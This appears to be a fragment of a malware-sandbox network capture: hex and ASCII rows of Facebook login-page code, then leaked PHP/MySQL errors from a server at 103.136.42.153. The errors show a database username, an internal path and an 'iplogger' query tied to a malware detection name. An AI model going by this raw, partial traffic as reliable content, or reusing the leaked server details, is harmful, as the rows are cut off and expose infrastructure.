41 54 36 50 47 70 74 49 50 55 59 48 30 35 31 42 61 69 34 22 7d 2c 22 36 37 36 38 33 37 22 3a 7b 22 72 Data Ascii: requireLazy(["HasteSupportData"],function(m){m.handle({"clpData":{"1814852":{"r":1},"1838142":{"r":1,"s":1},"1949898":{"r":1},"1848815":{"r":10000,"s":1},"1744178":{"r":1,"s":1}},"gkxData":{"5919":{"result":false,"hash":"AT6PGptIPUYH051Bai4"},"676837":{"r
2022-09-09 16:00:31 UTC	99	IN	Data Raw: 22 3a 7b 7d 2c 22 64 6f 6d 61 69 6e 22 3a 7b 7d 7d 2c 36 32 33 31 5d 2c 5b 22 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 22 2c 5b 5d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 22 7d 2c 36 34 32 31 5d 2c 5b 22 42 6f 6f 74 6c 6f 61 64 65 72 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 66 65 72 42 6f 6f 74 6c 6f 61 64 73 22 3a 66 61 6c 73 65 2c 22 6a 73 52 65 74 72 69 65 73 22 3a 5b 32 30 30 2c 35 30 30 5d 2c 22 6a 73 52 65 74 72 79 41 62 6f 72 74 4e 75 6d 22 3a 32 2c 22 6a 73 52 65 74 72 79 41 62 6f 72 74 54 69 6d 65 22 3a 35 2c 22 73 69 6c 65 6e 74 44 75 70 73 22 3a 66 61 6c 73 65 2c 22 68 79 70 53 74 65 70 34 22 3a 66 61 6c 73 65 2c 22 70 68 64 4f 6e 22 3a 66 61 6c 73 65 2c 22 62 74 43 75 74 6f 66 66 49 6e 64 65 78 22 3a 32 36 31 34 Data Ascii: ":{},"domain":{}},6231],["CookieDomain",[],{"domain":"facebook.com"},6421],["BootloaderConfig",[],{"deferBootloads":false,"jsRetries":[200,500],"jsRetryAbortNum":2,"jsRetryAbortTime":5,"silentDups":false,"hypStep4":false,"phdOn":false,"btCutoffIndex":2614
2022-09-09 16:00:31 UTC	100	IN	Data Raw: 65 72 4e 6f 6e 63 65 22 3a 22 44 56 4a 5a 39 79 48 63 4e 6f 67 42 42 6d 6b 33 55 36 52 4a 2d 33 22 7d 2c 31 34 31 5d 2c 5b 22 53 69 74 65 44 61 74 61 22 2c 5b 5d 2c 7b 22 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 30 36 31 37 33 32 30 35 2c 22 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 30 36 31 37 33 32 30 35 2c 22 74 69 65 72 22 3a 22 22 2c 22 70 75 73 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 70 6b 67 5f 63 6f 68 6f 72 74 22 3a 22 42 50 3a 44 45 46 41 55 4c 54 22 2c 22 68 61 73 74 65 5f 73 65 73 73 69 6f 6e 22 3a 22 31 39 32 34 34 2e 42 50 3a 44 45 46 41 55 4c 54 2e 32 2e 30 2e 30 2e 30 2e 30 22 2c 22 70 72 22 3a 31 2c 22 68 61 73 74 65 5f 73 69 74 65 22 3a 22 77 77 77 22 2c 22 6d 61 6e 69 66 65 73 74 5f 62 61 73 65 5f 75 Data Ascii: erNonce":"DVJZ9yHcNogBBmk3U6RJ-3"},141],["SiteData",[],{"server_revision":1006173205,"client_revision":1006173205,"tier":"","push_phase":"C3","pkg_cohort":"BP:DEFAULT","haste_session":"19244.BP:DEFAULT.2.0.0.0.0","pr":1,"haste_site":"www","manifest_base_u
2022-09-09 16:00:31 UTC	102	IN	Data Raw: 5f 44 45 4c 45 54 45 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 41 50 50 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 42 55 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 45 53 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 50 52 4f 44 55 43 54 5f 43 41 54 41 4c 4f 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 53 45 53 Data Ascii: _DELETE","BUSINESS_GRAPH_SETTING_APP_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_BU_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_ESG_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_PRODUCT_CATALOG_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_SES
2022-09-09 16:00:31 UTC	103	IN	Data Raw: 70 22 2c 22 31 6f 4f 45 36 34 66 4c 34 77 4f 22 2c 22 39 47 64 38 71 67 52 78 6e 38 7a 22 2c 22 4d 50 4d 61 71 6e 71 5a 39 63 22 2c 22 35 58 43 7a 31 68 39 49 61 77 33 22 2c 22 37 72 36 6d 53 50 37 6f 66 72 32 22 2c 22 36 44 47 50 4c 72 52 64 79 74 73 22 2c 22 61 57 78 43 79 69 31 73 45 43 37 22 2c 22 39 6b 43 53 44 7a 7a 72 38 66 75 22 2c 22 61 77 59 41 37 66 6e 32 42 73 65 22 2c 22 61 42 4d 6c 4a 38 51 52 50 57 45 22 5d 7d 7d 2c 32 35 38 30 5d 2c 5b 22 4a 53 45 72 72 6f 72 4c 6f 67 67 69 6e 67 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 61 70 70 49 64 22 3a 32 35 36 32 38 31 30 34 30 35 35 38 2c 22 65 78 74 72 61 22 3a 5b 5d 2c 22 72 65 70 6f 72 74 49 6e 74 65 72 76 61 6c 22 3a 35 30 2c 22 73 61 6d 70 6c 65 57 65 69 67 68 74 22 3a 6e 75 6c 6c 2c 22 73 61 6d Data Ascii: p","1oOE64fL4wO","9Gd8qgRxn8z","MPMaqnqZ9c","5XCz1h9Iaw3","7r6mSP7ofr2","6DGPLrRdyts","aWxCyi1sEC7","9kCSDzzr8fu","awYA7fn2Bse","aBMlJ8QRPWE"]}},2580],["JSErrorLoggingConfig",[],{"appId":256281040558,"extra":[],"reportInterval":50,"sampleWeight":null,"sam
2022-09-09 16:00:31 UTC	105	IN	Data Raw: 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 65 63 75 72 65 2e 70 61 79 75 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 5c 2f 5c 2f 66 61 63 65 62 6f 6f 6b 2e 64 6c 6f 63 61 6c 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 5c 2f 5c 2f 62 75 79 32 2e 62 6f 6b 75 2e 63 6f 6d 22 5d 7d 2c 34 39 32 30 5d 2c 5b 22 42 6f 6f 74 6c 6f 61 64 65 72 45 6e 64 70 6f 69 6e 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 62 75 67 4e 6f 42 61 74 63 68 69 6e 67 22 3a 66 61 6c 73 65 2c 22 65 6e 64 70 6f 69 6e 74 55 52 49 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 61 6a 61 78 5c 2f 62 6f 6f 74 6c 6f 61 64 65 72 2d 65 6e 64 70 6f 69 6e 74 5c 2f 22 7d 2c 35 30 39 34 5d 2c 5b 22 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 49 46 72 61 6d 65 43 6f 6e 66 69 Data Ascii: "https:\/\/secure.payu.com","https:\/\/facebook.dlocal.com","https:\/\/buy2.boku.com"]},4920],["BootloaderEndpointConfig",[],{"debugNoBatching":false,"endpointURI":"https:\/\/www.facebook.com\/ajax\/bootloader-endpoint\/"},5094],["CookieConsentIFrameConfi
2022-09-09 16:00:31 UTC	106	IN	Data Raw: 2f 22 3a 31 2c 22 5c 2f 61 62 6f 75 74 5c 2f 70 72 69 76 61 63 79 5c 2f 22 3a 31 2c 22 5c 2f 61 62 6f 75 74 5c 2f 70 72 69 76 61 63 79 5c 2f 75 70 64 61 74 65 5c 2f 22 3a 31 2c 22 5c 2f 70 72 69 76 61 63 79 5c 2f 65 78 70 6c 61 6e 61 74 69 6f 6e 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 74 6f 67 67 6c 65 5c 2f 77 65 6c 63 6f 6d 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 74 6f 67 67 6c 65 5c 2f 6e 75 78 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 74 6f 67 67 6c 65 5c 2f 73 65 74 74 69 6e 67 73 5c 2f 22 3a 31 2c 22 5c 2f 66 75 70 5c 2f 69 6e 74 65 72 73 74 69 74 69 61 6c 5c 2f 22 3a 31 2c 22 5c 2f 77 6f 72 6b 5c 2f 6c 61 6e 64 69 6e 67 22 3a 31 2c 22 5c 2f 77 6f 72 6b 5c 2f 6c 6f 67 69 6e 5c 2f 22 3a 31 2c 22 5c 2f 77 6f 72 6b 5c 2f 65 6d 61 69 6c Data Ascii: /":1,"\/about\/privacy\/":1,"\/about\/privacy\/update\/":1,"\/privacy\/explanation\/":1,"\/zero\/toggle\/welcome\/":1,"\/zero\/toggle\/nux\/":1,"\/zero\/toggle\/settings\/":1,"\/fup\/interstitial\/":1,"\/work\/landing":1,"\/work\/login\/":1,"\/work\/email
2022-09-09 16:00:31 UTC	108	IN	Data Raw: 6c 65 5c 2f 7a 65 72 6f 5c 2f 61 66 5f 74 72 61 6e 73 69 74 69 6f 6e 5c 2f 61 63 74 69 6f 6e 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 66 72 65 65 6d 69 75 6d 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 66 72 65 65 6d 69 75 6d 5c 2f 72 65 64 69 72 65 63 74 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 66 72 65 65 6d 69 75 6d 5c 2f 7a 65 72 6f 5f 66 75 70 5c 2f 22 3a 31 2c 22 5c 2f 70 72 69 76 61 63 79 5c 2f 70 6f 6c 69 63 79 5c 2f 22 3a 31 2c 22 5c 2f 70 72 69 76 61 63 79 5c 2f 63 65 6e 74 65 72 5c 2f 22 3a 31 2c 22 5c 2f 64 61 74 61 5c 2f 6d 61 6e 69 66 65 73 74 5c 2f 22 3a 31 2c 22 5c 2f 34 6f 68 34 2e 70 68 70 22 3a 31 2c 22 5c 2f 61 75 74 6f 6c 6f 67 69 6e 2e 70 68 70 22 3a 31 Data Ascii: le\/zero\/af_transition\/action\/":1,"\/mobile\/zero\/freemium\/":1,"\/mobile\/zero\/freemium\/redirect\/":1,"\/mobile\/zero\/freemium\/zero_fup\/":1,"\/privacy\/policy\/":1,"\/privacy\/center\/":1,"\/data\/manifest\/":1,"\/4oh4.php":1,"\/autologin.php":1
2022-09-09 16:00:31 UTC	109	IN	Data Raw: 70 6f 69 6e 74 5f 63 68 61 6e 67 65 5c 2f 22 3a 31 2c 22 5c 2f 68 65 6c 70 5c 2f 63 6f 6e 74 61 63 74 5c 2f 22 3a 31 2c 22 5c 2f 73 75 72 76 65 79 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 6c 6f 79 61 6c 74 79 74 6f 70 75 70 5c 2f 61 63 63 65 70 74 5c 2f 22 3a 31 2c 22 5c 2f 73 65 74 74 69 6e 67 73 5c 2f 22 3a 31 2c 22 5c 2f 6c 69 74 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5f 73 74 61 74 75 73 5f 75 70 64 61 74 65 5c 2f 22 3a 31 2c 22 5c 2f 6f 70 65 72 61 74 6f 72 5f 73 74 6f 72 65 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 22 3a 31 2c 22 5c 2f 77 69 66 69 61 75 74 68 5c 2f 6c 6f 67 69 6e 5c 2f 22 3a 31 7d 7d 2c 31 34 37 38 5d 2c 5b 22 49 6e 74 6c 4e 75 6d 62 65 72 54 79 70 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 69 6d 70 6c 22 3a 22 Data Ascii: point_change\/":1,"\/help\/contact\/":1,"\/survey\/":1,"\/upsell\/loyaltytopup\/accept\/":1,"\/settings\/":1,"\/lite\/":1,"\/zero_status_update\/":1,"\/operator_store\/":1,"\/upsell\/":1,"\/wifiauth\/login\/":1}},1478],["IntlNumberTypeConfig",[],{"impl":"
2022-09-09 16:00:31 UTC	111	IN	Data Raw: 75 65 22 2c 22 41 61 33 58 63 4a 76 35 6c 79 4c 33 64 6e 56 36 48 6e 6f 43 41 5a 4d 49 37 41 41 32 72 68 53 4b 4b 37 49 62 41 6c 4c 37 4f 6e 58 73 57 68 4e 5f 66 70 61 44 45 41 2d 4b 42 6c 4a 48 4f 51 4a 42 71 62 39 32 50 6f 4c 72 36 52 68 42 78 32 50 30 43 79 70 44 74 50 68 2d 4e 5f 49 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 38 30 37 30 34 32 22 2c 5b 22 73 65 74 54 69 6d 65 6f 75 74 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 73 65 74 54 69 6d 65 6f 75 74 42 6c 75 65 22 2c 22 41 61 33 58 63 4a 76 35 6c 79 4c 33 64 6e 56 36 48 6e 6f 43 41 5a 4d 49 37 41 41 32 72 68 53 4b 4b 37 49 62 41 6c 4c 37 4f 6e 58 73 57 68 4e 5f 66 70 61 44 45 41 2d 4b 42 6c 4a 48 4f 51 4a 42 71 62 39 32 50 6f 4c 72 36 52 68 42 78 32 50 30 43 79 70 44 74 50 68 2d 4e 5f 49 22 Data Ascii: ue","Aa3XcJv5lyL3dnV6HnoCAZMI7AA2rhSKK7IbAlL7OnXsWhN_fpaDEA-KBlJHOQJBqb92PoLr6RhBx2P0CypDtPh-N_I"]},-1],["cr:807042",["setTimeoutBlue"],{"__rc":["setTimeoutBlue","Aa3XcJv5lyL3dnV6HnoCAZMI7AA2rhSKK7IbAlL7OnXsWhN_fpaDEA-KBlJHOQJBqb92PoLr6RhBx2P0CypDtPh-N_I"
2022-09-09 16:00:31 UTC	112	IN	Data Raw: 2c 22 65 6e 64 65 64 22 3a 30 2c 22 73 65 65 6b 65 64 22 3a 30 2c 22 73 65 65 6b 69 6e 67 22 3a 30 2c 22 77 61 69 74 69 6e 67 22 3a 30 2c 22 6c 6f 61 64 65 64 6d 65 74 61 64 61 74 61 22 3a 30 2c 22 63 61 6e 70 6c 61 79 22 3a 30 2c 22 73 65 6c 65 63 74 69 6f 6e 63 68 61 6e 67 65 22 3a 30 2c 22 63 68 61 6e 67 65 22 3a 30 2c 22 74 69 6d 65 75 70 64 61 74 65 22 3a 30 2c 22 61 64 61 70 74 61 74 69 6f 6e 22 3a 30 2c 22 66 6f 63 75 73 22 3a 30 2c 22 62 6c 75 72 22 3a 30 2c 22 6c 6f 61 64 22 3a 30 2c 22 65 72 72 6f 72 22 3a 30 2c 22 6d 65 73 73 61 67 65 22 3a 30 2c 22 61 62 6f 72 74 22 3a 30 2c 22 73 74 6f 72 61 67 65 22 3a 30 2c 22 73 63 72 6f 6c 6c 22 3a 32 30 30 30 30 30 2c 22 6d 6f 75 73 65 6d 6f 76 65 22 3a 32 30 30 30 30 2c 22 6d 6f 75 73 65 6f 76 65 72 22 Data Ascii: ,"ended":0,"seeked":0,"seeking":0,"waiting":0,"loadedmetadata":0,"canplay":0,"selectionchange":0,"change":0,"timeupdate":0,"adaptation":0,"focus":0,"blur":0,"load":0,"error":0,"message":0,"abort":0,"storage":0,"scroll":200000,"mousemove":20000,"mouseover"
2022-09-09 16:00:31 UTC	113	IN	Data Raw: 65 6e 74 22 5d 2c 22 73 64 22 5d 5d 2c 5b 22 52 65 71 75 69 72 65 44 65 66 65 72 72 65 64 52 65 66 65 72 65 6e 63 65 22 2c 22 75 6e 62 6c 6f 63 6b 22 2c 5b 5d 2c 5b 5b 22 41 73 79 6e 63 52 65 71 75 65 73 74 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 2c 22 56 69 73 75 61 6c 43 6f 6d 70 6c 65 74 69 6f 6e 47 61 74 69 6e 67 22 2c 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 63 73 73 22 5d 5d 5d 7d 29 3b 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 62 78 20 55 49 50 61 67 65 5f 4c 6f 67 67 65 64 4f 75 74 20 68 61 73 42 61 6e 6e 65 72 20 5f 2d 6b 62 20 5f 36 30 35 61 20 62 5f 63 33 70 79 6e 2d 61 68 68 Data Ascii: ent"],"sd"]],["RequireDeferredReference","unblock",[],[["AsyncRequest","BanzaiScuba_DEPRECATED","VisualCompletionGating","FbtLogging","IntlQtEventFalcoEvent"],"css"]]]});});</script></head><body class="fbx UIPage_LoggedOut hasBanner _-kb _605a b_c3pyn-ahh
2022-09-09 16:00:31 UTC	115	IN	Data Raw: 20 70 68 6f 6e 65 3c 2f 6c 61 62 65 6c 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 65 72 72 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 65 6d 61 69 6c 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 74 65 78 74 20 6c 6f 67 69 6e 5f 66 6f 72 6d 5f 69 6e 70 75 74 5f 62 6f 78 22 20 6e 61 6d 65 3d 22 65 6d 61 69 6c 22 20 69 64 3d 22 65 6d 61 69 6c 22 20 64 61 74 61 2d 74 65 73 74 69 64 3d 22 72 6f 79 61 6c 5f 65 6d 61 69 6c 22 20 2f 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 65 72 73 22 3e 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 70 61 73 73 22 3e 50 61 73 73 77 6f 72 64 3c 2f 6c 61 62 65 6c 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 65 72 73 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 20 63 Data Ascii: phone</label></div><div class="_err"><input type="email" class="inputtext login_form_input_box" name="email" id="email" data-testid="royal_email" /></div><div class="_ers"><label for="pass">Password</label></div><div class="_ers"><input type="password" c
2022-09-09 16:00:31 UTC	116	IN	Data Raw: 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 79 6c 39 22 3e 44 6f 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 6a 6f 69 6e 20 46 61 63 65 62 6f 6f 6b 3f 3c 2f 64 69 76 3e 3c 61 20 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 79 6c 61 20 5f 34 6a 79 33 20 5f 34 6a 79 32 20 73 65 6c 65 63 74 65 64 20 5f 35 31 73 79 20 6d 72 6d 22 20 68 72 65 66 3d 22 2f 72 65 67 2f 3f 70 72 69 76 61 63 79 5f 6d 75 74 61 74 69 6f 6e 5f 74 6f 6b 65 6e 3d 65 79 4a 30 65 58 42 6c 49 6a 6f 77 4c 43 4a 6a 63 6d 56 68 64 47 6c 76 62 6c 39 30 61 57 31 6c 49 6a 6f 78 4e 6a 59 79 4e 7a 4d 35 4d 6a 4d 78 4c 43 4a 6a 59 57 78 73 63 32 6c 30 5a 56 39 70 5a 43 49 36 4d 7a 59 7a 4f 54 59 35 4d 44 51 30 4f 44 63 34 4f 54 Data Ascii: m></div><div class="_yl9">Do you want to join Facebook?</div><a role="button" class="_42ft _4jy0 _yla _4jy3 _4jy2 selected _51sy mrm" href="/reg/?privacy_mutation_token=eyJ0eXBlIjowLCJjcmVhdGlvbl90aW1lIjoxNjYyNzM5MjMxLCJjYWxsc2l0ZV9pZCI6MzYzOTY5MDQ0ODc4OT
2022-09-09 16:00:31 UTC	118	IN	Data Raw: 20 c2 b7 20 3c 2f 73 70 61 6e 3e 3c 61 20 68 72 65 66 3d 22 2f 68 65 6c 70 2f 3f 72 65 66 3d 34 30 34 22 20 64 61 74 61 2d 67 74 3d 22 26 23 31 32 33 3b 26 71 75 6f 74 3b 74 61 72 67 65 74 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 65 6c 70 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6d 61 72 6b 65 74 69 6e 67 5f 70 61 67 65 5f 63 6c 69 63 6b 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 63 6f 6e 76 65 72 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 26 71 75 6f 74 3b 26 23 31 32 35 3b 22 3e 56 69 73 69 74 20 6f 75 72 20 48 65 6c 70 20 43 65 6e 74 65 72 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 63 71 75 22 3e 3c 64 69 76 20 69 64 3d 22 70 61 67 65 46 6f 6f Data Ascii: </span><a href="/help/?ref=404" data-gt="{"target":"help","marketing_page_click":"1","conversion":"1"}">Visit our Help Center</a></div></div></div><div class="_cqu"><div id="pageFoo
2022-09-09 16:00:31 UTC	119	IN	Data Raw: 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 Data Ascii: 39;%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D
2022-09-09 16:00:31 UTC	121	IN	Data Raw: 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 Data Ascii: u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\u00253
2022-09-09 16:00:31 UTC	122	IN	Data Raw: 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 Data Ascii: precated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning
2022-09-09 16:00:31 UTC	124	IN	Data Raw: 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 Data Ascii: \u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/1
2022-09-09 16:00:31 UTC	125	IN	Data Raw: 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 Data Ascii: enied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='se
